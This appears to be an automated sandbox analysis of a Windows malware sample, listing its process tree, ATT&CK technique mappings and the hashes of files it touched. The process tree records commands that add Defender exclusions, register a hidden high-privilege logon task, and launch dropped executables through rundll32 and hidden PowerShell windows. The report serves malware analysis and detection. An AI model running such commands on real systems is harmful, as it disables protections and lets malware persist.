    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3928,i,10714005125023184732,7370921252750610816,2097152 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=5228 /prefetch:1
        5⤵
        
        PID:1840
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3952,i,7573935096146683943,10722154005882480354,2097152 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:9
        5⤵
        
        PID:5220
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3984,i,7932101283151794608,4038730053564369874,2097152 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:1
        5⤵
        
        PID:7052
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=4016,i,6001739024325606877,5849623358899325605,2097152 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:9
        5⤵
        
        PID:5956
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=4112,i,833710950723946551,14980135634059581827,2097152 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=5320 /prefetch:9
        5⤵
        
        PID:6056
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=4188,i,3885573750951047846,176469750615314607,2097152 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:1
        5⤵
        
        PID:6456
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=4072,i,18389159595518154139,13451763795094552905,2097152 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=5300 /prefetch:1
        5⤵
        
        PID:6216
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=4216,i,3607440098381527936,10053754035402915530,2097152 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:9
        5⤵
        
        PID:3568
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3552,i,7260503042519274855,2067830395385868987,524288 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:14
        5⤵
        
        PID:3908
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -C "Add-MpPreference -ExclusionExtension '.exe' -EA 0"
      4⤵
      PID:2284
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -C "Add-MpPreference -ExclusionExtension '.exe' -EA 0"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6416
  - - C:\Users\Admin\AppData\Local\MpDefenderCoreFolder\CoreWorker_cjnmQmKTOMnCzez.exe
      "C:\Users\Admin\AppData\Local\MpDefenderCoreFolder\CoreWorker_cjnmQmKTOMnCzez.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      PID:6552
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command " $action = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\MpDefenderCoreFolder\CoreWorker_cjnmQmKTOMnCzez.exe' $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'CoreWorker_cjnmQmKTOMnCzez-2793' -RunLevel Highest "
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6404
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\MpDefenderCoreFolder'"
        5⤵
        
        PID:4080
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\MpDefenderCoreFolder'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe""
    3⤵
    PID:5440
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe"
      4⤵
      PID:6248
    - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:6444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe""
    3⤵
    PID:5488
  - - C:\Windows\explorer.exe
      explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe"
      4⤵
      PID:6732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe""
    3⤵
    - System Binary Proxy Execution: Rundll32
    PID:7060
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe"
      4⤵
      System Binary Proxy Execution: Rundll32
      PID:6772
    - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe' -WindowStyle Hidden""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:5384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7024
    - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:6844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783137714588.vbs""
    3⤵
    PID:7144
  - - C:\Windows\system32\wscript.exe
      wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783137714588.vbs"
      4⤵
      PID:6504
    - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:6656

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:780
- C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe
  "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  PID:3652

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1768

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:1356
- C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe
  "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:6652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6924

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5248

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5136

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:6044

C:\Users\Admin\AppData\Local\MpDefenderCoreFolder\CoreWorker_cjnmQmKTOMnCzez.exe
C:\Users\Admin\AppData\Local\MpDefenderCoreFolder\CoreWorker_cjnmQmKTOMnCzez.exe
1⤵
- Executes dropped EXE
PID:4392

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

System Binary Proxy Execution

T1218

Rundll32

T1218.011

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 c209f47ea10a0f8608af2292c44f997283bd54918bc0281ee68e0b88de4631a9
MD5 dc63eb4dac3ba6e31e0a0aa41edf639e
SHA1 1ebb944ada8955f6b30635777a3ec7cb70a24448
SHA512 ed5201f9052b43669cb9197a3f5ec85c8061a307ecbe6d3e9a0c88f4a12020af10ffab1ae799117693e5970761c9d59d2f1b2d99d99f473574d15a37357cb672
TLSH
T165E022AAC835DC3708FD0768A1944ACAE710135B2B81858F3A3D86098FB063A41AA92C
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 4c9b65c494feda0447a5a2e790186a36f0a14a728920d8d03ca3221d147cb855
MD5 7e1cc95ee698d63df9cfcb72d4c6583c
SHA1 f74a2d1aac1d49b8d94f462d2f771815479fe955
SHA512 6981a32c3285f515a7ed5be8c4735621ef9e73c568aefaa869307888e2de44c5eabb06e16f853f5917be67e06e8fd4603a44760c3fd6142220495a4f7d4d9487
SSDEEP 192:RRU3vg/Zrxvfyv7H+pAPRp2X9WHsb+WNnvRIPF5cLPnVyIsnAUgtaJ:RRUfmZReiUXQUwGPj6B8
TLSH
T1A542C43EB910693B9CDBD329FA657B63D7F5202171952E80E6FC8A2C15E75CC221702B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 a487a90aa586ffb722bc45a76d1e954f5a6f5ff4286551d2445a524e0f1cc25d
MD5 a6b03dd39d632b77a2b691136935ce1e
SHA1 660afa8fb43d4f28bf93dfee7ad6659850a1dd80
SHA512 fd42fd771a90c2ac5460f1c04885199c7f6c1ae3796cb236a749714522d06dac63689becd9a9f638977639774ddf2dbbc07689355940492b636644edffad801d
SSDEEP 384:6kj+F7KxkXqKf/pUZNCgVLH2HfgslzO7pLuLcSjsNXOD+F+ErU3JbHGvYKD0S:6o+F7KxkXqKf/pUZNCgVLH2HfgsJO7pT
TLSH
T15F72F867684C9E370FD4CACCED167A4FADB5024B65E9886443FA582503D5ACF110A2FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 7c18d154812d4147e42d4d0cae6883236247b3763cbf54c7cc4e4a23fedffec2
MD5 a73379097314543af5ccb303f77dc75d
SHA1 25cebfc3a5724744fef141a6fb47a61f807ca02a
SHA512 5329d35f8b5283c7763f490359047def1f1d0195f324a3ff40e350e9b31c0e9a62ae17c9d235197cc5e3c681324667638441091ef8f92776716ab65712714c8e
SSDEEP 3072:5UzWs4B7zxAQ0xVOnXTZpY3g9DzcU0/DlblAIToQ:wWDfxA3OnjrYQ9EU0/hEQ
TLSH
T14BC302A11C39BD660DF9EE98A40D3A60BFF4AC9A92875DD392ED1F4C14FB5C81139930
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 3437bb9bc3e6c8b42b6bfcf2eb0e0b19d2604c97bf16a6cd17ed272797fa9d23
MD5 20e457cdff163b20d75428bcd2099f92
SHA1 d28c7d988817ff2593c8327c45e652e260394d9d
SHA512 f24673de54779e6bb50a913c4dfbe9483bc8b7143dfb5418c6d50fcb9ab9b276a4d7e2c3ad7894e75bc175f39a0099e8092604020ecf991a2260beecb731c825
SSDEEP 3072:azWs4B7zxAQ0xVOnXTZpY3g9DzcU0/DlblAIToV:QWDfxA3OnjrYQ9EU0/hEV
TLSH
T1B8C302A15C36BD660DF8EE98B44D3A60BFF4AD9A91835DC361ED2F0C24FA5C81139970
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 18d5722b4bdd546da121b4c8756096755cab8cb7c40126d93644910d9292f343
MD5 918925b4ffb522c4188485a5e84ab6ed
SHA1 f53ee7bacfae671d898075778f668cbf727c5d5e
SHA512 82d4b87cc804c393a5c812a4dc327743ae928a44f8fd52902410ba43dfae738254e94437b0482c86a93dea416fcb87a34ed892f8541c7508545b3c98dfd4d8ea
TLSH
T1C771DF323375B0D889163F47192D59C463BF8365FA54AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

49cae258-8c8f-4058-8838-26e1a95f189f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\49cae258-8c8f-4058-8838-26e1a95f189f.tmp
Size 8KB
SHA256 1ff86446ae9b369c2e0b401e519546ae3118a146028c45c74dfe647b41375384
MD5 e9cbe974962c27cda0ba858eb16ec6bd
SHA1 b28d6ebf8de17d46a1361945809ecf0eedca7687
SHA512 6cb65d725673efb5b40b176c1afd32ded1fb9915e5cc16ba6621d99ca273cc0256be60231ed3b5ae4a7ca27cf743796df653a9c9cdad2cc22bf284d9023435fa
SSDEEP 192:EGNl6fNUQmiUyySdnL/GPTEXRUTY6OWV3ZLq4U6:EGNl61kngnL/lSLbU6
TLSH
T113120935B8A8387B8EE3ED55F48736175FA5216BD6C52F84DAE41B0C04C729C2307832
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 2e4c78c9d4b6915833ca44ba5f9b735c9d9e0bf49d6aa045c47aaaa63f1f9359
MD5 f7389aaad82eb86ca1896ff3c7af7a86
SHA1 a7833bad037b8c94d375310ccb5bf39c3f9df83c
SHA512 cdfd274480229d612566789a9d9cdf47643a9543e303957436e5121c790936878b1b7eb452100170489121bede724239183c48208033a8c70d6070e93b3f1226
TLSH
T1E5D080B23D4DB010D75B51F1F903D741121A85752853AB33E694C54C5DB5CD813C71D3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a4b35a6422c1c682176591bd42ebef96b0cb78607f98b3c5ee2c0e2d44e526da
MD5 63b4ddb137c55bd42461aacc1eb4cf83
SHA1 e41f99c448526208c80f1acecf1939a8e3f06728
SHA512 88b7f5970c19ff8d8362281bde3b29f3c7b018ff88c03d8ce082f66572704c79543ea528e6962172f18f1cdde2d1aaad0aca218b732ba8a673b844844d3ae585
TLSH
T125D080B23D4DB010D75B51F1F903D741121A857528536B33E694C54C5DB5CD813C71D3
MD5 SHA1 SHA512 TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 371fe5c15b527b01e2eefd9e9ab030183eac385b8774fb81095322de503fc2f0
MD5 45d12dc320aeea7b881d3d593c8aaf2d
SHA1 f34507c87bcec9f4a158378f7b137c7212e606aa
SHA512 8e9c6518499703ae409a006966527b29ca65e6b547526d45d674011c4bb27c3806edee7736f951aa2b0a390e09e33a9fb511ee3431b547646830ca1abff59aee
SSDEEP 192:zZBRCyM/jK1Ml8MN4/fWseFriEdpM/W6+WNGY05NFQ+IgyJ:zZBM14/fWsex1M/bG5tO
TLSH
T1A64209066B345977CCDBD208FA547F43D6F91573E2900E48AAFC8A1C05E6AED221782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 31KB
SHA256 12ab30f8f90f069796bbefabbcd5221dd71cde0c114ec85fa304e8521b8b3929
MD5 613593057d5bb49f164317dc18a61456
SHA1 fb4ddd8351de03c4d68bb34e704eb5ecf2aaf988
SHA512 9a4ba7976f1e80aa144b29ff964cfe4357497fb954d8aebfa826d3610e3b6c57f04ff95dea03e951bccaa17a8198817b0cbeac309353d70fd7626a01be6801aa
SSDEEP 768:lgzXl8pZ2b1WRmsYQL08F1+UoAYDCx9Tuqh0VfUC9xbog/OV3No/Ll/df0hJGroo:lgzXl8pZ2b1WRmsYQL0u1jaKNo/Lpd8G
TLSH
T194E20A3F244CCB7E4F844EACEC266F966ED801CBA6684D5447FA894C03C77DB521A49B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 5e268e431173e971c4610367fab6de8f7369c017e90e10e955609708fdeb0e8f
MD5 96a117edde52f417fce917132ae36cdf
SHA1 96c715b7182487a3ab2e91cd65087ae76d9e7c08
SHA512 4ef4b941eb91c6e4246847fc09e00a12754d7d269825470849ed303b6dbf964d1c791f46f127478255c9aa8c8b9f32db0915eb8aa7f811e650f85846ef533faf
SSDEEP 192:7GN96fNNQmiUyBzHdPL/GPTEXRUT9V7qsPU6:7GN961LSz9PL/UUaU6
TLSH
T1B6020B35ACA8687B8EE3AE59F58737175FA4212BDAD52F84D6F81F0C40D729C1306836
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 c7e46915375cceff1010fde9067ff68ed0d90f4f79534f18006808e1b938ac21
MD5 69b51813531741bec1b98000d271f8a8
SHA1 980a33f996f7c82115d075b2f7b234f9af479a61
SHA512 0ac5a81f2ed3f0b5834d75d1fac06f1b76c1910bab2fb86bb630a78ea4288e77a67b607baf5276fbf83539cdc88770fb348103995276a53e5c7f7925204a47c3
SSDEEP 192:ze8Nk+QBFS7sZ86NEbYQmiU1tOBKZK/GPTEXRUTY6OWV3ALq4K1fT:ze8Nk+AMC9EkrMIK/lSObQT
TLSH
T12B421935B8786C7B89E7ED49F84B3A135FB421ABD6841E98D9E82B0D40C72DC1307826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

30ceaf62-26b6-4b77-ae94-e22eb1d163a9.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\30ceaf62-26b6-4b77-ae94-e22eb1d163a9.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download